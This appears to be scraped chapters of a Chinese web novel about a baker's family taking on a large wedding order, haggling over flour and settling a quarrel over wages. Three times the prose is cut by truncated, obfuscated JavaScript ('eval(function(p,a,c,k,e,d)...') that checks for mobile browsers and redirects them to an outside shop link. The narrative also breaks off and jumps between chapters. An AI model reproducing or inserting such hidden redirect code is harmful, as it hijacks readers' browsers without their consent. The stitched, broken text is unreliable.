胡有福把单子递过去：“周老板，今儿要麻烦您了。白面，要好的，先来一百五十斤。” 周胖子接过单子，眼睛一扫，脸上的笑更深了：“哎哟，胡大哥要发财，这是做大席面了！一百五十斤白面，小店存货倒是够，只是这价儿……如今正是青黄不接的时候，面价可比春上贵了一文。” 胡有福皱了皱眉：“贵了一文？多少文一斤？” “平常是八文，如今得九文。”周胖子说着，便要去拿斗。 “且慢。”胡裪忽然开口了。 周胖子回过头，见是个十五六岁的姑娘，穿着粗布衣裳，头上系着红头绳，长得倒是十分清秀。他愣了一下，笑道：“这位是胡大哥的闺女？” “是我闺女，”胡有福道，“阿荞，你多什么嘴？” 胡裪不慌不忙上前半步，先冲周胖子福了一福，道：“周大叔，我多问一句，您这白面是今年的新麦磨出来的，还是往年的陈粮？” 周胖子脸上的笑滞了一滞：“这——” “若是陈粮，九文一斤便贵了。”胡裪声音不高，却清清楚楚，“我听人说，粮行里的陈粮价儿要比新麦低上一二文。周掌柜方才说青黄不接，既是青黄不接，新麦还没下来，您这儿卖的自然该是陈粮，陈粮磨面卖九文！周老板，您这——” 周胖子张了张嘴，没说出话来。 胡裪又道：“再者说，我们家虽不常来籴粮，可往后却有大买卖。此番做的是张家少爷婚宴上的花饽饽，二百四十个小饽饽、十二大的，用面一百多斤。张员外这样精致的人都找我们家做喜饽饽，往后城里的红白喜事说不定都要找我们家。周大叔是个明白人，头回打交道，我爹想跟您交个善缘。” 一番话说完，周胖子脸上的笑彻底僵住了，半晌忽然“噗嗤”一声笑，竖起大拇指：“好！好！胡大哥，你这闺女了不得！” 他又转向胡裪，笑道：“小姑娘，我周胖子在这条街上开了二十年粮店，头一回让个姑娘家给说得哑口无言。罢罢罢，就当结个善缘！白面八文一斤，原价给你，蜂蜜、红曲、黄栀子都便宜两成，如何？” 胡裪又福了一福：“多谢周大叔。” 胡有福在一旁看得呆了，半天没回过神来。 周胖子却不含糊，把面过了秤算账。 一百五十斤白面，一千二百文；五斤蜂蜜，每斤四十文，二百文；红曲二两，每两二十文，四十文；黄栀子二两，每两十五文，三十文。统共一千四百七十文，周胖子甩了零头，共收一两四钱。又叫伙计帮胡有福把面抗上驴车，这桩买卖才算了结。 出了粮店，胡有福驾车又去买了菠菜，走几步便回头看一眼闺女。 回到家里，王翠听了这事先是一愣，继而眉开眼笑，一把拉住胡裪的手：“我闺女就是聪明！比你爹那个榆木疙瘩强一百倍！” 胡有福也乐得自己铺子里有个争用的女儿。 陈喜妹在里屋听见了，却不是滋味。 材料备齐，接下来便是挖地窖。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345098|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主意也是胡裪出的。六月天热，饽饽蒸出来放不住，一两天便要馊。若是挖个小地窖，地下阴凉，能把饽饽多存两日。胡有福听了，直拍大腿：“这主意好！咱家后院那块地，土松，挖起来容易！” 当下父子两个便动了手，胡裪在一旁指点。要挖一人深，四四方方，底下铺一层干沙，四壁用木板护住，顶上搭个草帘子遮阳。这法子是她从一本书上看来的，说地底下阴凉，能存粮食瓜果，夏日里也不易坏。胡有福虽不明白什么道理，但闺女能拦下来生意也不会弄砸了它。 挖了一下午，地窖便成了。胡裪又让娘把碎土都扫干净，再撒一层石灰防潮。王翠一边擦一边念叨：“这能行吗？别把饽饽存坏了。” “能行，”胡裪道，“地底下阴凉，又不见光，能比外头多放两三日。” 六月二十二，是最后一天做馒头，除了吴、崔二家的供货不能断，其他的都得停一停。 一大早，胡有福便和胡佑挑着担子出门，先把吴员外家的杂合面馒头送了，又绕到崔举人府上把定例的馒头送到后门上。然后父子两个直奔渡口找孙猴子去。 孙猴子是个矮瘦的汉子，尖嘴猴腮跟个猢狲似的，也不姓孙，姓李，只是长得像是《西游记》里的孙悟空，大家都叫他孙猴子。人力气不大，却最是机灵，专管在码头上揽活、分派。他正拿着个小本子记着什么，见胡有福来了，抬起头，眯着眼笑：“胡大哥，今儿的馒头给我留两个。” 胡有福道：“好说。只是有一件事儿，明儿起歇三日。” 孙猴子一愣，手里的笔停住：“歇三日？好端端的，怎么歇了？” 胡有福便把家里有桩大买卖的事说了，又说了歇业的日子。孙猴子听完，点点头笑道：“那敢情好，有买卖是好事，二十六再吃吧。” 胡有福从怀里掏出来一块小碎银，塞给孙猴子，道：“麻烦小弟挨个儿说说，别让兄弟们白等。” 孙猴子把小本子一合，接过银子，笑道：“放心，我跟他们说，不就是三日么，饿不死。” 胡有福与他说笑几句，带着儿子去卖馒头。过来几个脚夫，都是熟面孔，胡有福便又一一说了，有的抱怨两句，有的点点头，有的还问一句“什么买卖”，胡有福只说“做饽饽”，旁的也不多嘴。 等一圈走下来，日头已经老高了，人也好回家。胡佑跟在后面，抱怨一句：“爹，您也忒大方，孙猴子一句话的事儿，您还给银子。我看那有二钱了吧？咱们祭龙王赚的银两又散了去。” 胡有福真不想跟他说话！他只盼着老天开眼，像话本似的叫胡裪变成男人，他就彻底省心了！ 但这种事儿胡有福也知道，大多是书生杜撰，儿子就是儿子，女儿好上天是个仙女下凡也不能和儿子比。 因此沉住气解释：“你使给孙猴子钱，不是为了一句话的事儿。三天不去送馒头，脚夫们能不吃饭？明儿一早就有同行抢生意了！孙猴子是专管派活的，脚夫的生死命脉就掐在他手上呢，给他使上钱，叫他替我们把渡口的买卖看住了，别说是歇三日，就是五日十日不去，这买卖都是咱们的！” 胡有福又恍然大悟，跟着老爹回家。 那边胡家父子把歇业的事儿散出去，胡裪也没闲着，胡祥在店里帮忙，她便也跟着看店。 王翠一大早便裁了张红纸，研了墨，让胡裪写字。胡裪接过笔，在红纸上端端正正“画”了几行字： “本店因故，自二十三日起至二十五日，暂歇三日。二十六日照常营业。诸君见谅。” 她不会写什么字，但上辈子看过那么多，画出来还是没问题的。 写好了便贴在大门板上。王翠站在门外端详一会儿，心里又是得意又是怅惘——闺女这手字倒像是读过书的，只可惜是个丫头。 到了晚间，一家子吃着饭，正盘算着明日怎么安排，这毕竟是个大买卖，要从头到尾计较清楚，不敢含糊。 就在此时，陈喜妹忽然撂下碗筷，拿手捂着肚子脸色白白的，小声道： “爹，娘，我这几日身上不好，明儿怕是不能干活了。” 一屋子人都愣住。 9. 第九章 腹痛 陈喜妹一句话出口，满屋子人都愣住。 胡有福最是有打算的人，此时正端着碗喝粥，闻言手都没停，只拿眼把陈喜妹上下打量一回，道：“身上不好？怎么个不好法？穷人家过日子，谁还没个腰酸腿疼的时候？挺一挺就过去了。明天和后日那活计可是一百多斤面的大买卖，耽误不得。” 陈喜妹低着头，手还捂在肚子上，声音细细的：“实在是撑不住，头晕眼花的，使不上力气……” “使不上力气？”胡有福把碗往桌上一搁，“使不上力气也得使！咱们这般人家，别说身上不好，就是真病了，该干的活还能撂下不成？你当你是那大户人家的少奶奶，有个头疼脑热就躺下歇着？” 陈喜妹听了这话眼泪便下来了。她也不擦，由着那泪珠顺着腮帮子往下滚，滴在衣襟上洇成一小片深色。 “爹说的是，”她抬起头来，声音还打抖，却比方才大了些，“咱们这般人家，累了也得干活，病了也得干活。起早贪黑，从年头忙到年尾，连口热饭都吃不安生。可我干了这么些年，落着什么了？身上这件衣裳，还是做闺女时候穿的，头上这根簪子，还是我娘给我的陪嫁。我不图穿金戴银，可好歹……好歹也让我觉着，这家里有我一分，我干的这些活，不全是白干的。” 她说着，拿袖子抹了一把脸，泪却越抹越多：“今儿我就是身子不好，干不动了。爹要是非让我干，那也行，把我累死在家里头，往后倒也省心了，省得落下一身病，还得自己受罪。” 话说到底了，再也没留情面，一屋子人竟都哑了，不知道说什么好。 胡佑先回过神来，脸涨得通红，蹭地站起来，指着陈喜妹骂道：“你这是说的什么话？什么叫白干了？你吃我家的、住我家的，还给你娘家捎过多少东西，当我不知道？如今倒说起这个来了！我看你不是身上不好，你是心大了！” 说着，扬起手就要打。 “你打！你打！”陈喜妹也不躲，反倒把脸凑上去，“打死我倒轻快了！” 胡裪一直在旁边看着，这时忙上前一步，拦在胡佑跟前。 她不拦他的胳膊，只侧着身子挡在中间，嗔道：“哥，要打要骂，你们出去打，别叫我这个没出门的姑娘看见！最好到街坊邻居跟前打，叫大家好好看咱们的笑话！一家子债还没还上，倒是先窝里反了，还动手打媳妇！你从外头打听打听，是什么样不争气的汉子才会打媳妇？” 胡佑被她这一骂，倒不好再动手，只气得呼呼直喘，指着陈喜妹骂道：“你给我等着！” 王翠这时才回过神来，啪地一拍桌子，指着陈喜妹的鼻子：“好哇，我算是听明白了，我当你是个老实的原来在这儿等着呢！什么身上不好，分明是拿乔想要工钱了，你自己撒泡尿照照，你配吗？” 胡裪这时候没插嘴，是要叫他们先把火撒完，然后再替嫂子说话。说起来，这事儿还是她挑唆的。 嫂子这病来得太是时候，早不病晚不病，偏偏要干张家这桩大买了，身子不好。是真病还是假病她说不准，可嫂子方才那番话，什么一分都捞不着，分明就是也想要工钱。 这个事儿挺好，对胡裪也好。虽说这个家往后是胡佑的，但现在赚一分钱就得上交一分钱，胡佑也是一个子儿没有，偏她能得一个月一两的工钱，这一下就把自己至于众矢之的。 若嫂子也有了工钱，她便不那么扎眼了，往后爹若想赖掉谁的工钱，那就得一次性赖掉两个人的，否则被赖掉的那个人定然不干，早早晚晚地睡大觉。到时候嫂子不答应，她也跟着不答应，爹能怎么办？ 想到这里，胡裪便拿定主意。 她见爹娘骂也骂过了，哥要打也没打成，火气都发了一通，便上前扯了扯胡有福的袖子，低声道：“爹，你出来一下，我有话跟你说。” 胡有福正气得不行，见闺女拉他，跟着进屋。 胡裪站定，也不绕弯子，直接道：“爹，嫂子闹这一出，你打算怎么收场？” 胡有福一愣：“收什么场？她敢不干活，我……” “你还能把她撵出去？”胡裪打断他，“撵出去了，哥怎么办？思齐怎么办？那一百多斤面的活，谁来做？” 胡有福没说出话来。他真想不明白，你说阿荞到底是个女儿，以后就是外姓人，她要工钱求个心安，胡有福还能捏着鼻子认了。陈喜妹却怪了，日后这么大的家业不都是她男人的？现在急什么？ 胡裪又道：“张家这桩买卖，是咱们好不容易揽下的。二百四十个小饽饽，十二个大饽饽，两天工夫要赶出来。少一个人手，就多一分差池。若是做坏了，往后城里的红白喜事，谁还敢找咱们？” 胡有福眉头皱得死紧：“那你说怎么办？真给她工钱？” 胡裪点点头：“给她。先给她一两银子，把眼下这关过了。等活做完了，往后的事往后再说。” 胡有福瞪着眼：“一两银子！她凭什么？” “就凭她是咱们家的人，就凭明儿那活少不得她。”胡裪看着胡有福，“爹你想，嫂子今儿把话说到这个份上，你不给她，她真能撂挑子不干。到时候耽误了张家的活，赔钱的是咱们，丢脸的是咱们，往后没了生意的也是咱们。这一两银子就当买个安稳。” “爹要是觉得亏，等活做完了再想法子就是。可眼下得先把她稳住，反正你不能叫我和娘两个人干，我俩累死也干不完。” 胡有福终是叹了口气转身出屋。 屋外头，陈喜妹还坐在那里抹眼泪，王翠都骂不动了。 胡有福从匣子里摸出银角子，往她面前一递：“拿着。” “这是一两银子，”胡有福硬邦邦地道，“算是你这回的工钱。拿了钱，明儿好好干活。要是再闹，别怪我不客气。” 陈喜妹伸手接过那银子，在手里攥了攥。那么小一点儿，凉凉的，可是她的心却那么热！ 银子！是银子！是她自己一个人的银子！ 王翠在一旁气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一屋子人听她分派得清清楚楚，心里都有了底。王翠虽还不痛快，可闺女说得在理，便也不吭声了。 陈喜妹坐在一旁，手还揣在怀里，攥着那块银子，心里热乎乎的。她抬眼看了看胡佑，胡佑还瞪着她，她也不怕，反倒把下巴抬了抬。 胡佑气得扭过头去。 事情说定，众人便散了，各自去预备明日要用的东西。陈喜妹起身往外走，想去趟茅房。蹲下时，她忽然觉得小腹有些坠坠的疼，倒像是真要来月事的样子。她皱了皱眉，也没往心里去，只想着有了这一两银子，就是真疼也值了。 从茅房出来，才走了几步，胳膊忽然被人一把拉住。 她吓了一跳，回头一看，却是胡裪。 胡裪把她拉到墙根底下，四下里看了看，见其他人都听不到，才压低声音道：“嫂子，我跟你说句话。” 陈喜妹摸不着头脑：“什么话？” 胡裪凑近她耳边，声音低得几乎听不见：“爹给你的那银子，是哄你的。” 陈喜妹脸上的热乎气儿一下子散净，瞪着眼看她。 胡裪忙按住她的手，不让她出声，又道：“爹只想把这一关糊弄过去，等活做完了，他有的是法子再把银子要回去。到那时候，你怎么办？” 陈喜妹心里一凉，嘴唇哆嗦着：“那……那怎么办？” 胡裪往她耳边又凑了凑，窃窃私语一阵，陈喜妹听着听着，眼睛亮了起来。 11. 第十一章 意外 坐在马车车沿上，胡祹手扶着车帮，东张西望。 阳城县的街巷她都走惯了，可今日坐在车上，便觉着处处不同，街景匆匆而去，怪有意思。 胡有福坐在她旁边，怀里揣着小一百个铜钱，是预备着打点用的，现在叮铃叮铃直响。 “爹，您别紧张。”胡裪见他不停地搓手，低声说了一句。 胡有福瞪她一眼：“谁紧张了？我是热。” 胡裪便不说话了。 车过十字街，往北一拐，景象便大不相同了。南边是寻常百姓人家，青砖黑瓦，密密匝匝地挤在一处。到了北边，街道宽阔起来，两边都是高门大户，粉墙黛瓦，石狮子一对一对地蹲着，威风凛凛。墙内伸出老槐树的枝丫，浓荫匝地，遮了半条街。 张员外家在城北柳巷尽头，是一座三进的宅子。门口早已张灯结彩，大红灯笼从门楣一直挂到巷口，风吹过来，穗子飘飘荡荡的。 门框上贴了新对联，红纸金字，写着“琴瑟永谐百年好，夫妻恩爱万年长”。门楣上悬着红绸，扎成牡丹花的模样，层层叠叠的，衬着那黑漆大门，格外喜庆。 赶车的汉子把车赶到后门，停了车跳下来，拱手道：“胡大叔，到了。咱们从后门进，前头正忙着搭喜棚，乱得很。” 胡有福忙道：“使得使得，后门清净。” 后门倒也不寒碜。青砖门楼，虽不如前头气派，却也干干净净。门口站着两个小厮，穿着半新的蓝布衫子，见车来了便迎上来。 胡有福赶紧跳下车，从怀里摸出铜钱，一人塞了五六文，满脸堆笑道：“辛苦两位小哥，大热的天，喝碗茶。” 两个小厮接了钱，脸上便活泛起来，一个帮着掀帘子，一个往里头报信。 胡裪跟着爹进了后门，入眼便是一条甬道，青砖墁地，扫得一根草刺也无。甬道两边摆着花盆，里头种着石榴树，正是六月，石榴花开得正盛，红艳艳的，像一团一团的火。花盆上缠着红绸子，系成蝴蝶结，风一吹，绸子飘飘的。 穿过甬道，便是一道月亮门。过了月亮门，眼前豁然开朗，是个大院子。院子里搭着喜棚，棚顶用新苇席苫的，四角挂着红灯笼，棚下摆着十来张八仙桌，桌上铺着红桌布。几个佣人正忙着摆桌椅，见人来了，抬头看一眼，又低头忙自己的。 再往前走，便是一进院子的正厅了。正厅的廊檐下挂着两盏大红灯，灯上画着龙凤呈祥的图案，金粉描的，太阳底下一照，亮得晃眼。廊柱上贴了红纸对联，上联“百年好合”，下联“五世其昌”，横批“天作之合”。门帘也换了新的，是大红缂丝的，上头绣着鸳鸯戏水，针脚细密，跟活的似的。 胡裪一路看着，心里暗暗咋舌。这张员外家果然有钱。她前世在书里见过描写豪门婚礼的排场，今日亲眼见了，才知古代的奢华和现代的奢华完全是两码事。 胡有福却顾不上看这些，他一路走一路散铜钱，见着搬东西的小厮散两个，见着扫地的婆子散两个，连廊下蹲着喂猫的小丫头都得了两个。那铜钱从他手里撒出去，叮叮当当地落在人家手心里，他便觉得安心些。 赶车的汉子引着他们到了一间偏房前，推开门道：“胡大叔，饽饽先搁这儿，等祭祖的时候再往前头搬。您二位先歇歇，喝口水。” 胡有福忙道：“不碍事不碍事，我们先看着他们把饽饽安顿好。” 两个小厮便从车上往下搬饽饽。那对龙凤最大，两个人小心翼翼，一步一步地挪。搬龙的时候，前头那个小厮脚底下绊了一下，身子一晃，后头那个脸都白了。胡有福眼疾手快，一把扶住，嘴里连声道：“小心小心！” 那小厮站稳了，出了一脑门子汗，回头看那龙——龙须微微颤了颤，倒也没断，这才长出一口气。 胡裪在一旁抿着嘴笑。 等十二个大饽饽都搬进了偏房，又依着胡裪的意思按大小排列好，小饽饽则装了四十个大食盒摞在墙角。赶车的汉子清点了一遍，又拿出单子核对了一遍，一样不差，便去前头禀报。 不多时，上回下单子的张管家便来了，穿着绸直裰，料子是宝蓝色的杭绸，腰里系着丝绦，脚上蹬着黑缎靴子，通身上下收拾得利利索索。他进门先扫了一眼那些饽饽，然后便愣住了。 “这……这是饽饽？”他走到那对龙凤跟前，弯下腰仔细端详，喜笑颜开，“怪道你家敢卖二十两，原来是有真本事在。” 他又绕着那对龙凤转了两圈，啧啧称奇：“胡掌柜，您家这是请了哪里的高人？” 胡有福笑得合不拢嘴：“哪有什么高人？就我这闺女鼓捣出来的。” 他怔了一怔，随即笑道：“姑娘好手艺！这龙鳞凤羽，做得跟真的似的。我们老爷要是见了，保管欢喜，你们擎等着领赏好了。”说完便将剩下的十一两四钱结了，胡有福点头哈腰接过。 胡裪福了一福，轻声道：“张大叔过奖了。这饽饽还得请大叔指点，该摆在哪儿，该怎么摆，我们心里好有个数。” 张管家点点头，正色道：“按规矩，这些大饽饽要先摆在供桌上，祭了祖先，再抬到喜棚里去，摆在正当中那张桌子上。宾客们来了，都看得见。小饽饽散给宾客，一人六个，图个吉利。” 胡裪听了，心里便踏实了。摆在正当中，那便是最显眼的位置了。今日来的宾客，非富即贵，见了这饽饽，还怕没有回头客？ 张管家又看了看那些饽饽，忽然指着那对喜上眉梢，道：“这对喜鹊做得好，活灵活现的。我们老爷最喜欢喜鹊，说喜鹊叫，好事到，今儿早上还听着喜鹊声了呢。” 胡裪看了一眼那对喜上眉梢，一只喜鹊站在梅花枝上，翅膀微微张开，像是要飞。另一只歪着头，嘴里衔着一颗红豆，憨态可掬。她做的时候便花了心思，如今被人夸，心里自然欢喜。 正说着，外头忽然传来脚步声，一个小丫头跑进来，气喘吁吁道：“管事，老爷问饽饽来了没有？祭祖的时辰快到了。” 管家忙道：“来了来了，这就搬。”说着，转身对两个小厮吩咐，“去叫几个人来，把这对龙凤先抬到供桌跟前，小心着点，碰坏了一样，仔细你们的皮！” 两个小厮应了一声，一溜烟跑了。 不多时，又来了四个小厮，都是年轻力壮的，穿着新衣裳，手上干干净净的。张管家指挥着他们，先把那对龙凤抬了出去，然后是榴开百子、福禄双全、鸳鸯戏水、喜上眉梢，一对一对地往外搬。 胡裪跟在后面，出了偏房，穿过一道穿堂，便到了正厅。正厅里已经布置好了，正中是一张紫檀木的供桌，桌上铺着大红绸子，绸子上摆着香炉、烛台、果品、点心，整整齐齐的。 供桌后面挂着祖宗画像，画上的老人穿着官服，面容严肃，眼睛直直地看着前方。画像两边挂着对联，写着“祖德流芳远，宗功泽世长”。 供桌前面摆着一张条案，条案上铺着红布，便是摆放饽饽的地方了。 张管家指挥着小厮们，把饽饽一对一对地摆在条案上。龙凤摆在正中，其余的四对摆在两边，按大小排列，高低错落，看着便有一种气派。 摆完了，张管家退后两步，歪着头看了一会儿，又上前挪了挪那对鸳鸯的位置，再退后看，这才满意地点点头：“行了。” 胡有福站在一旁，看着自家的饽饽摆在张家的供桌上，心里头滋味实在说不上来。又是得意，又是感慨，还有一点点的辛酸。他揉了一辈子面，卖了一辈子馒头，何时也能拜一拜这样的饽饽祭祖？ 胡裪站在他身边，低声道：“爹，别看了，咱们该回去了。” 胡有福回过神来，应了一声，正要走，忽然想起什么，从怀里又摸出一把铜钱，塞给旁边站着的小厮，道：“辛苦辛苦，喝碗茶。” 那小厮接了钱，笑嘻嘻地道：“胡大叔客气了。您这饽饽做得好，我们老爷见了，不定怎么赏呢。” 胡有福笑了笑，带着胡祹往外走，刚走到后门，又被两小厮叫住。 “胡师傅，我们老爷看了饽饽十分满意，这是给您的赏钱！” 一个小厮手上递过五两的银锭。 胡有福捧着那锭银子，手都在抖。五两！白花花的五两，新铸的银锭！ “替我谢老爷的赏，谢谢老爷了！”他点头哈腰地谢了好几遍，又摸出几个铜板要塞给那两个小厮。小厮们推辞不受，笑道：“胡大叔快收着吧，我们老爷赏您的，我们可不敢要您的。”说着便把他俩送出了后门。 胡有福出了门，脚底下还飘着，把那锭银子翻来覆去地看，又凑到嘴边咬了一下，咯嘣一声，银子上留了个浅浅的牙印。 “是真的，”他自言自语，脸上的褶子都笑开了，“是真的！”赏钱真有五两！ 胡裪看着他那个样子，忍不住笑：“爹，上车吧，回家再看。” 胡有福这才把银子揣进怀里，拍了拍，叫了辆马车来。 今儿也享受享受！ 爬上马车坐好，车夫一扬鞭，马车便辘辘地往南走了。一路上胡有福一句话也没说，两只手轮流捂着胸口的那包银子，生怕它飞了似的。 到了金鱼巷口，父女俩下了车，打发走了车夫，便往巷子里走。还没到铺子跟前，就听见前头闹哄哄的，好些人围在门口。 “这是怎么了？”胡有福嘀咕了一句，加快脚步走过去。 拨开人群一看，原来是铺子里正忙着。陈喜妹站在柜台里头，一边收钱一边往客人篮子里装馒头，嘴皮子一刻也不停。胡祥在她旁边帮着递笸箩，跑前跑后的，小脸跑得通红。 “……可不是嘛！”陈喜妹的声音又脆又亮，隔着半条街都听得见，“我公婆可好了，最是善心的人！我在家里帮忙，一个月给我一两银子的工钱呢！你们说说，天底下哪儿找这样的公婆去？” 柜台前头围着一圈买馒头的街坊，听了这话，一个个都啧啧称奇。 “哎哟，一个月一两？老胡家这是发财了？” “老胡这个人，看着闷不吭声的，心肠倒是真好。” “可不是嘛，给儿媳妇工钱，这事儿我在阳城县还是头一回听说。老胡厚道！” 陈喜妹越发得意，声音又高了三分：“我公婆说了，只要好好干活往后还有呢！” 胡有福站在人群外头，听得一头雾水。陈喜妹还会给他扬名声？这不是太阳打西边出来。 还没等他弄明白，人群里有人看见他了，喊了一嗓子：“哎哟，老胡回来了！” 众人呼啦啦转过头来，一张张笑脸对着他，七嘴八舌地夸起来。 “胡大哥，你可真是个善心人啊！” “老胡，你这人厚道，给媳妇开工钱，全县城头一份！” “胡大叔，您这心肠，没得说！” 胡有福被这一通夸，脸上的笑都有些僵了。他不知道该说什么，只得含糊地应着：“应该的，应该的……”一边说一边往里头挤，好不容易才挤进铺子。 胡裪跟在后头，嘴角微微翘着。这样一来，往后爹想赖掉嫂子的工钱可就难了。全街坊都知道了，他胡有福是“善心人”、“厚道人”，总不能自己打自己的脸。 胡有福进了铺子，陈喜妹看见他，笑得更欢了：“爹回来了！张家的饽饽可还满意？” 胡有福“嗯”了一声，也没多说，穿过铺子往后院走。胡裪跟在他后头，经过柜台的时候，朝陈喜妹使了个眼色。陈喜妹会意，笑得眼睛都眯成了一条缝。 到了后院，王翠正在作坊里收拾面盆，见老头子回来了，忙迎出来：“怎么样？还顺利不？” 胡有福没答话，先走到堂屋坐下，从怀里掏出那包银子，往桌上一放。张家的十一两四钱，加上张员外赏的五两，白花花的银子堆在桌上，亮得晃眼。 王翠的眼睛一下子就直了：“这……这么多？” “十一两四是饽饽钱，”胡有福指着那大的一锭，“这个是张员外额外赏的，五两！” 王翠双手捧起银子，翻来覆去地看，嘴里啧啧有声：“阿弥陀佛，阿弥陀佛！这么多银子，够咱们还半年的账了！” 胡有福把银子收起来，从怀里又摸出一把铜板，数了二十文递给胡裪：“阿荞，去张屠户家割肉，要肥的！今儿好好开荤！” 胡裪接过铜板，应了一声，转身出去了。 王翠在身后喊：“挑肥的！带皮的！” 胡裪一路小跑到巷口张屠户家，割了两斤五花三层的好肉，又顺道买了些时令鲜蔬，这才提着往回走。到家的时候，王翠已经把锅刷干净了，灶膛里添了柴，火烧得旺旺的。 “肉给我！”王翠接过肉，放在案板上，刀起刀落，咔咔地切成大块。肉肥瘦相间，皮厚膘肥，一看就是好东西。 锅里放了油，把肉块倒进去煸炒，刺啦一声，油烟腾起来，满屋子都是肉香。煸到肉皮金黄、肥肉透明，王翠又拍了几瓣大蒜扔进去，倒了一勺子酱油，加水没过肉，盖上锅盖慢慢炖。 等到饭菜上桌，一家子围坐过来。胡有福坐了主位，王翠挨着他，胡佑、陈喜妹、胡裪、胡祥依次坐下，胡思齐坐在他娘怀里，眼睛直勾勾地盯着那盆肉。 “吃吧！”胡有福一声令下，筷子便齐刷刷地伸了出去。 王翠看着一桌人吃得欢，自己倒不怎么动筷子，只是笑眯眯地看着，时不时给胡有福夹一块肉，又给胡裪夹一块。 胡有福吃了一块肉，喝口水，忽然开口：“今儿这趟去张府，算是长了见识了。人家那宅子，那排场，啧啧……” 他把在张府见到的情形一五一十地说了一遍，说到那对龙凤摆在供桌上时，王翠的眼睛都亮了。 正吃着，外头忽然传来一阵急促的敲门声，“砰砰”的，敲得又急又重。 一桌子人都愣住了。胡有福放下筷子，皱眉道：“这时候了，谁啊？” 敲门声不停，外头有人喊：“胡大叔！胡大叔在家吗？” 胡有福听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正说着，一个十六七岁的少年从旁边的席上站起来，端着酒杯走到桌前。他穿着月白色的直裰，料子是上好的松江细布，虽不是绸缎，却比绸缎还讲究几分。身量修长，面如冠玉，眉目间有一股子书卷气。 “张世伯，”黎道举了举杯，笑道，“这饽饽倒是别致，我在京城长大，没见过这样的手艺。” 张员外见他过来，脸上的神色缓和了些，笑道：“黎贤侄好眼力。这饽饽是城里一家铺子做的，我也没想到能做成这样。”黎道可是户部尚书的儿子，若非表妹结婚，他哪儿能回山东故里？可得好好伺候。 黎道凑近了些，低头看了看那缺了喜鹊的梅花枝，又看了看旁边那只孤零零的喜鹊，笑道：“这是被人碰坏了？可惜可惜。” 张员外苦笑：“唉……我小女顽劣，已经去请做饽饽的师傅来修了。” “哦？”黎道来了兴致，“做饽饽的师傅？是哪家的？改日我也去定几对。” “就是城里金鱼巷的胡记饽饽铺，做这饽饽的是个姑娘，手艺了得。”张管家赶紧接话，朝门口张望了一眼，“应该快到了。” 黎道听了“是个姑娘”四个字，微微一怔，随即笑道：“那倒要见识见识了。” 他端着酒杯回到自己的席上，身边站着的小厮安溪凑过来，低声道：“公子，您又来了。明年就要会试了，您不想着读书，倒有心思看人家做饽饽。” 黎道拿扇子敲了一下他的脑袋，笑道：“你懂什么？这叫格物致知。圣人还说要多识草木鸟兽之名呢，我格饽饽就不能格出道理来了？” 安溪揉着脑袋，小声嘀咕：“您什么都格，就是不格四书五经。” 黎道不理他，自顾自地喝酒，眼睛却时不时地往门口瞟。 约莫过了一盏茶的工夫，一个汉子引着姑娘从后门进来。 姑娘穿着粗布衣裳，头上系着红头绳，在满院的锦衣华服中间，显得格外朴素。可她走路的姿态却不卑不亢，腰背挺得直直的，眼睛看着前方，并不东张西望。 胡裪跟着那汉子穿过院子，到了正中那张桌子跟前。张管家见了她，脸上露出几分急切，指了指那缺了喜鹊的饽饽：“姑娘，你看看这个，还能修么？” 胡裪凑近看了看。梅花枝上的茬口还算整齐，喜鹊是从根部断掉的，断口处干了些，但没碎。她伸手摸了摸，心里便有了数。 “能修。”她点点头，解下布包，打开来，里头是工具，一样一样摆得整整齐齐。又从怀里掏出用湿布包着的面团。 满院的宾客见一个姑娘在桌前摆弄起家什来，都好奇地围过来看。 胡裪不慌不忙，先用把断口处的碎屑处理干净，又用小刀把干硬的茬口轻轻刮去一层，露出里头还带着潮气的面芯。然后揪了一小块面团，在手心里揉了几下，揉得软软的了，便往断口处一贴，做粘合剂用。 接下来便是做喜鹊了。 幸好碰掉的是喜鹊，等会儿上上色也行。胡祹三下两下捏了形状出来，又用工具简单刻画，最后补充细节，捻了些细微羽毛上去，一只喜鹊便做好了。 周围看的人越来越多，起初还有人小声说话，后来便都安静了。 黎道不知什么时候也挤到了前面，他轻轻“啧”了一声，低声对安溪道：“你看她那个手，可真巧。” 安溪撇了撇嘴，没接话。 胡裪做完了喜鹊，又比照着梅花枝做了几朵小花苞，用竹刀压出花瓣的纹路，这才交给下人去蒸。 “上汽之后，小的蒸个一盏茶的功夫，大的蒸两刻钟，然后拿来给我上色。” 等蒸好，笔墨备齐，胡祹就给喜鹊穿上了黑衣，点上眼睛。 还叫人拿了些银粉过来，将细节处补了补，用铁丝插上，这才转身对着张员外一施礼：“老爷，已经补好了。” 张员外凑近看了看，又退后两步看了看，脸上终于露出了笑容：“好！好！跟原来的一模一样，不，比原来的还好！” 周围的宾客也跟着夸起来。 “了不得！了不得！这姑娘手艺绝了！” “下回祭祖，我也去定。” 张员外见人吹捧，又高兴起来：“看赏。”张管家立刻笑着对胡裪道：“辛苦姑娘了，又劳动你跑一趟。”说着，从袖子里摸出一块银子，约莫有二两，递了过去，“这是老爷的赏钱。” 胡裪推辞一下，又福了一福：“多谢张老爷。” 她收拾好工具，重新裹好，从后门出去。 但刚走没两步远，又被人叫住。 “姑娘留步。” 胡裪转过头，见一个小厮上前。 安溪拱手，道，“今日得见姑娘手艺，实在叹为观止。十月里我小姐出阁，也要定几对饽饽。不知姑娘可接外县的单子？” 